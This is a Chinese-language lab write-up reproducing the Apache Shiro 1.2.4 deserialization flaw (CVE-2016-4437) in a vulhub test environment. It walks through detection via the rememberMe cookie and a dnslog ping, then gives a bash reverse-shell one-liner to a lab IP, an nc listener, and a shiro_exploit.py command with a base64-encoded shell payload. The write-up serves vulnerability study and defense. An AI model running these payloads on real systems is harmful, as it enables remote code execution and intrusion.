Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )
1. 简介
1.1 Apache Shiro
Apache Shiro(简称 Shiro)是一个功能强大且易于使用的 Java 安全框架,用于身份验证、授权和加密等安全功能。它提供了一套统一的安全API,可以轻松地集成到Java应用程序中。
Shiro 的主要功能包括:
身份验证:Shiro 可以处理用户身份验证,支持各种常见的认证方式,如用户名/密码、LDAP、OAuth 等。它还提供了许多可插拔的身份验证 Realm,可以根据自己的需求进行定制。
授权:Shiro 提供了基于角色和权限的授权机制。您可以定义角色和权限,并在代码中进行简单的注解或编程式授权。Shiro 还支持细粒度的权限控制,可以对单个资源进行授权。
会话管理:Shiro 可以管理用户会话,支持不同的会话存储方式,如内存、数据库、Redis 等。它提供了会话管理和集群环境下的会话共享功能。
密码加密:Shiro 提供了对密码进行加密和散列的功能,可以确保用户密码的安全性。
Web集成:Shiro 提供了与 Java Web 技术的无缝集成,支持常见的 Web 框架,如Spring MVC、Struts等。
1.2 工 作 原 理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
Shiro记住用户会话功能的逻辑为:
获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
1.3 漏洞描述
漏洞 | 说明 |
---|---|
受影响版本 | Apache Shiro <= 1.2.4 |
漏洞名称 | Apache Shiro 1.2.4 反序列化漏洞,即shiro-550反序列化漏洞。 |
漏洞编号 | CVE-2016-4437 |
危害等级 | 高危 |
漏洞类型 | RCE |
Shiro550 反序列化漏洞原理:
记住我的功能开启之后,会有Cookie 数据,Cookie 数据其实就是加密后的经过序列化的用户对象,也就是二进制字节流。
加密算法是AES 算法,算法很安全,但是秘钥是固定的,并且存储于源码中。
漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
2.漏洞复现
系统 | 工具 | 脚本 |
---|---|---|
kali(2023) | docker,burpsuit(2022版) | shiro_exploit.py(基于python3,jdk1.8),shiro_attack-4.5.3-SNAPSHOT-all.jar |
环境搭建:
https://pan.baidu.com/s/1zEFf_xS5NQNm1EZwf6DvuA提取码:ol6p
https://vulhub.org/#/environments/shiro/CVE-2016-4437/
2.1 搭建环境
使用vulhub进行环境搭建,cd shiro,执行docker-compose up -d启动漏洞环境
cd /home/kali/vulhub/fastjson/1.2.24-rce/
sudo docker -compose up -d
访问8080,如下环境搭建成功
2.2 判断框架
勾选RememberMe字段,输入任意账号与密码,点击登录,返回包set-Cookie会有rememberMe=deleteMe字段,说明使用了shiro框架,但是不知道版本
2.3 漏洞验证
手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证
检测是否存在漏洞(dnslog)
首先去dnslog平台获取一个子域 -》DNSLog Platform
python shiro_exploit.py -t 3 -u 目标地址 -p "ping -c 2 dnslog"
查看dnslog平台,如下,说明漏洞存在
2.检测是否存在漏洞(shiro_attack-4.5.3-SNAPSHOT-all.jar)
2.4 漏洞利用
(1)加密反弹shell语句
这里反弹shell的命令需要进行加密才能执行,加密网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T
bash -i >& /dev/tcp/攻击机ip/监听的端口 0>&1
bash -i >& /dev/tcp/10.9.46.170/6666 0>&1
进行加密(Runtime.exec Payload Generater | AresX's Blog (ares-x.com))
(2)vps开启监听
sudo nc -lvp 6666
(3)执行反弹语句
cd /home/kali/tools/java-unserialize/ysoserial/target/Shiro_exploit-master/
python shiro_exploit.py -t 3 -u 10.9.46.170:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
(4)接收反弹shell
jar工具
相较于上面的python脚本,图形化工具操作起来更加的简单
3 总结
3.1修复建议
1、升级Apache Shiro
2、部署安全产品
3.2参考文章
(102条消息) Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )shiro不出网怎么利用山山而川'的博客-CSDN博客
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)